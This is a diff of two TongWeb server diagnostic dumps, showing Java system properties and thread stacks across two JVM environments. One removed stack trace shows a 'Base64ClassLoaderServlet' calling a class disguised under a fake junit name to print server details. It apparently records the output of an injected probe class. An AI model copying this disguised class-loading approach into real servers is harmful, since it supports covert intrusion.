rtura-*.jar,asm-*.jar,dom4j-*.jar,icu4j-*.jar,jaxen-*.jar,jdom-*.jar,jetty-*.jar,oro-*.jar,servlet-api-*.jar,tagsoup-*.jar,xmlParserAPIs-*.jar,xom-*.jar
tomee.remote.support: false
-java.home: /usr/local/openjdk-8/jre
+user.country: US
+java.home: /opt/java/openjdk/jre
java.vm.info: mixed mode
-os.version: 6.14.10-orbstack-00291-g1b252bd3edea
+os.version: 6.8.0-111-generic
com.tongweb.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal
openejb.embedder.source: ThanosServerListener
tongweb.sysapp: /opt/tweb7/applications
compatibleWithWas: false
path.separator: :
TONGTECH_BC_JAR_PATH: /opt/tweb7/lib/bc/bcprov.jar
-java.vm.version: 25.342-b07
+java.vm.version: 25.482-b08
bval.in-container: true
com.tongweb.webbeans.logger.WebBeansLoggerFacade: com.tongweb.tongejb.cdi.logging.ContainerJULLoggerFactory
useInsAnnoCheckCache: false
@@ -68,6 +64,7 @@ java.awt.printerjob: sun.print.PSPrinterJob
authconfigprovider.factory: false
java.security.policy: /opt/tweb7/conf/tongweb.policy
sun.io.unicode.encoding: UnicodeLittle
+java.specification.maintenance.version: 6
awt.toolkit: sun.awt.X11.XToolkit
tongweb.base: /opt/tweb7
package.definition: sun.,java.,com.tongweb.catalina.,com.tongweb.coyote.,com.tongweb.jasper.,com.tongweb.naming.,com.tongweb.web.
@@ -77,22 +74,23 @@ openejb.home: /opt/tweb7
java.security.egd: file:/dev/./urandom
user.home: /root
java.rmi.server.RMIClassLoaderSpi: com.tongweb.server.TongWebRMIClassLoader
+auditLogSavePath: logs/audit-log
openejb.version: ${pom.version}
disableVerCode: true
java.specification.vendor: Oracle Corporation
WebserviceCXF.OFF: true
contentLength.limit: 10000
jvProfile: true
-java.library.path: :/opt/tweb7/native/linux/aarch64:/usr/java/packages/lib/aarch64:/lib:/usr/lib
-java.vendor.url: http://java.oracle.com/
-tongweb.rmijmx.cbport: 7200
-java.vm.vendor: Oracle Corporation
-common.loader: "${tongweb.home}/patch/sys_manifest_classpath/*.jar","${tongweb.home}/lib","${tongweb.home}/lib/*.jar"
+java.library.path: :/opt/tweb7/native/linux/x64:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib
+java.vendor.url: https://adoptium.net/
+java.vm.vendor: Temurin
+common.loader: "${tongweb.home}/lib","${tongweb.home}/lib/*.jar"
java.runtime.name: OpenJDK Runtime Environment
sun.java.command: com.tongweb.web.thor.startup.ThorBootstrap start
WebModuleOnly: false
-java.class.path: /usr/local/openjdk-8/lib/tools.jar:/opt/tweb7/lib/bootstrap.jar:/opt/tweb7/lib/jdk-api.jar:/opt/tweb7/lib/ejb-agent.jar
+java.class.path: /opt/java/openjdk/lib/tools.jar:/opt/tweb7/lib/bootstrap.jar:/opt/tweb7/lib/jdk-api.jar:/opt/tweb7/lib/ejb-agent.jar
com.tongweb.agent.com.AgentUtil.AgentCaller.class: com.tongweb.heimdall.common.master.util.AgentCallerImpl
+enable_sql_exec: false
tomee.serialization.class.blacklist: -
com.tongweb.commons.logging.Log: com.tongweb.commons.logging.impl.Jdk14Logger
java.vm.specification.name: Java Virtual Machine Specification
@@ -102,14 +100,13 @@ sun.os.patch.level: unknown
java.awt.headless: true
java.io.tmpdir: /opt/tweb7/temp
xss_apps: console,heimdall
-java.vendor.url.bug: http://bugreport.sun.com/bugreport/
+java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
switchCharacterEncoding: false
server.loader:
-cdi.passivate: false
-java.rmi.server.hostname: 192.168.215.4
-os.arch: aarch64
+java.rmi.server.hostname: 172.17.0.4
+os.arch: amd64
java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment
-java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext
+java.ext.dirs: /opt/java/openjdk/jre/lib/ext:/usr/java/packages/lib/ext
tongweb.jndi.lookup.relaxVersion: false
user.dir: /opt/tweb7/bin
ShutdownSocketDisabled: false
@@ -131,94 +128,7 @@ master.path: /opt/tweb7
===========================================
ThreadStacks:
-"http-nio2-0.0.0.0-9060-exec-5" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
- at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
- at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
- at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
- at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
- at java.lang.Thread.run(Thread.java:750)
-
-"IntelligentRouterHealthInfoCollector" #185 [TIMED_WAITING] on java.util.TaskQueue@703fde5c
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at java.util.TimerThread.mainLoop(Timer.java:552)
- at java.util.TimerThread.run(Timer.java:505)
-
-"http-nio2-8080-Acceptor-0" #115 daemon [WAITING] on java.util.concurrent.CountDownLatch$Sync@353d4e3f
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer.parkAndCheckInterrupt(AbstractQueuedSynchronizer.java:836)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer.doAcquireSharedInterruptibly(AbstractQueuedSynchronizer.java:997)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1304)
- at java.util.concurrent.CountDownLatch.await(CountDownLatch.java:231)
- at sun.nio.ch.PendingFuture.get(PendingFuture.java:180)
- at com.tongweb.web.util.net.Nio2Endpoint$Acceptor.run(Nio2Endpoint.java:444)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio2-8080-exec-7" #35 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at java.lang.Thread.dumpThreads(Native Method)
- at java.lang.Thread.getAllStackTraces(Thread.java:1615)
- at org.junit.Uzcrn.ErrorHandler.toString(BasicInfoPrinter.java:26)
- at java.lang.String.valueOf(String.java:2994)
- at com.tongweb.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:244)
- at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26)
- at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:230)
- at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
- at com.tongweb.web.websocket.server.WsFilter.doFilter(WsFilter.java:53)
- at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192)
- at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
- at EmptyFilter.doFilter(EmptyFilter.java:21)
- at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192)
- at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165)
- at com.tongweb.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198)
- at com.tongweb.catalina.core.StandardContextValve.invoke0(StandardContextValve.java:123)
- at com.tongweb.catalina.core.ThanosStandardContextValve.invoke0(ThanosStandardContextValve.java:14)
- at com.tongweb.catalina.core.StandardContextValve.invoke(StandardContextValve.java:114)
- at com.tongweb.catalina.core.ThanosStandardContextValve.invoke(ThanosStandardContextValve.java:103)
- at com.tongweb.tomee.catalina.OpenEJBValve.invoke(OpenEJBValve.java:44)
- at com.tongweb.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:452)
- at com.tongweb.catalina.core.StandardHostValve.invoke(StandardHostValve.java:346)
- at com.tongweb.tomee.catalina.OpenEJBSecurityListener$RequestCapturer.invoke(OpenEJBSecurityListener.java:97)
- at com.tongweb.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80)
- at com.tongweb.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87)
- at com.tongweb.catalina.core.ThanosStandardEngineValve.invoke(ThanosStandardEngineValve.java:43)
- at com.tongweb.catalina.realm.RealmValve.invoke(RealmValve.java:21)
- at com.tongweb.catalina.connector.ThanosCoyoteAdaptor.service(ThanosCoyoteAdaptor.java:469)
- at com.tongweb.coyote.http11.Http11Processor.service(Http11Processor.java:870)
- at com.tongweb.coyote.http11.ThanosHttp11Processor.service(ThanosHttp11Processor.java:19)
- at com.tongweb.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
- at com.tongweb.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:921)
- at com.tongweb.web.util.net.Nio2Endpoint$SocketProcessor.doRun(Nio2Endpoint.java:1635)
- at com.tongweb.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
- at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1172)
- at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
- at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio-5100-exec-1" #117 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
- at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
- at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
- at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
- at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
- at java.lang.Thread.run(Thread.java:750)
-
-"Thread-35" #132 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4c2b943
+"Thread-33" #159 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@801f228
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
@@ -230,7 +140,7 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"http-nio2-8080-exec-1" #29 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9
+"http-nio2-9060-exec-8" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6c60d58
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -244,7 +154,7 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-5100-exec-9" #125 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361
+"http-nio-5100-exec-7" #111 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2f99958
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -258,7 +168,7 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"http-nio2-0.0.0.0-9060-exec-7" #24 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404
+"http-nio2-8080-exec-4" #32 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@47fb0763
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -272,14 +182,15 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"RMI RenewClean-[192.168.215.4:7200]" #107 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@5512b170
- java.lang.Thread.State: TIMED_WAITING
+"RMI Reaper" #93 [WAITING] on java.lang.ref.ReferenceQueue$Lock@406c3d06
+ java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
- at sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:563)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
+ at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
at java.lang.Thread.run(Thread.java:750)
-"http-nio2-8080-exec-6" #34 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9
+"http-nio2-9060-exec-4" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6c60d58
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -293,7 +204,17 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-5100-exec-10" #126 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7214e361
+"http-nio-5100-ClientPoller-1" #116 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:796)
+ at java.lang.Thread.run(Thread.java:750)
+
+"http-nio2-9060-exec-3" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6c60d58
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -307,21 +228,30 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"http-nio2-8080-exec-9" #37 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9
+"JCA-default-thread-pool-worker-7" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7676449e
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
- at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
- at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
- at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
- at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
- at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.lang.Thread.run(Thread.java:750)
+
+"pool-2-thread-1" #141 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@380b2051
+ java.lang.Thread.State: TIMED_WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"http-nio2-0.0.0.0-9060-exec-3" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@74004404
+"http-nio2-8080-exec-3" #31 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@47fb0763
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -335,7 +265,7 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"JCA-default-thread-pool-worker-1" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58
+"JCA-default-thread-pool-worker-5" #83 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7676449e
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -346,36 +276,58 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"Thread-6" #39 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.EPoll.epollWait(Native Method)
- at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194)
- at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268)
+"JCA-default-thread-pool-worker-4" #82 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7676449e
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"Signal Dispatcher" #4 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
+"http-nio2-8080-exec-10" #38 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@47fb0763
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
-"TONGWEB-startStop-2" #111 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1151f6b3
+"Stateful cache" #90 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@27d4f82c
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
- at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
+ at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
+ at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"RMI Reaper" #104 [WAITING] on java.lang.ref.ReferenceQueue$Lock@110522a2
+"http-nio-5100-exec-2" #106 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2f99958
java.lang.Thread.State: WAITING
- at java.lang.Object.wait(Native Method)
- at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
- at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
- at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"RMI TCP Connection(1)-192.168.215.4" #105 daemon [RUNNABLE]
+"RMI TCP Connection(2)-172.17.0.4" #97 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at java.net.SocketInputStream.socketRead0(Native Method)
at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
@@ -387,21 +339,35 @@ ThreadStacks:
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$17/1078591587.run(Unknown Source)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$21/953137620.run(Unknown Source)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@515c88c3
+"RetryTimer" #89 daemon [WAITING] on java.util.TaskQueue@6f175dd
java.lang.Thread.State: WAITING
at java.lang.Object.wait(Native Method)
at java.lang.Object.wait(Object.java:502)
- at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
- at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
+ at java.util.TimerThread.mainLoop(Timer.java:526)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"http-nio-5100-exec-9" #113 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2f99958
+ java.lang.Thread.State: WAITING
+ at sun.misc.Unsafe.park(Native Method)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103)
+ at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156)
+ at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628)
+ at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
+ at java.lang.Thread.run(Thread.java:750)
-"http-nio2-8080-exec-4" #32 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@a014ab9
+"http-nio2-9060-exec-1" #18 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6c60d58
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -415,7 +381,7 @@ ThreadStacks:
at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.lang.Thread.run(Thread.java:750)
-"JCA-default-thread-pool-worker-10" #100 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58
+"JCA-default-thread-pool-worker-10" #88 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7676449e
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -426,27 +392,7 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@13acbf2f
- java.lang.Thread.State: WAITING
- at java.lang.Object.wait(Native Method)
- at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
- at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
- at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
-
-"snapshot" #131 daemon [TIMED_WAITING] on java.util.TaskQueue@dd62787
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at java.util.TimerThread.mainLoop(Timer.java:552)
- at java.util.TimerThread.run(Timer.java:505)
-
-"compress-log-timer" #14 daemon [WAITING] on java.util.TaskQueue@35fe04ad
- java.lang.Thread.State: WAITING
- at java.lang.Object.wait(Native Method)
- at java.lang.Object.wait(Object.java:502)
- at java.util.TimerThread.mainLoop(Timer.java:526)
- at java.util.TimerThread.run(Timer.java:505)
-
-"JCA-default-thread-pool-worker-5" #95 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@485f58
+"JCA-default-thread-pool-worker-6" #84 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7676449e
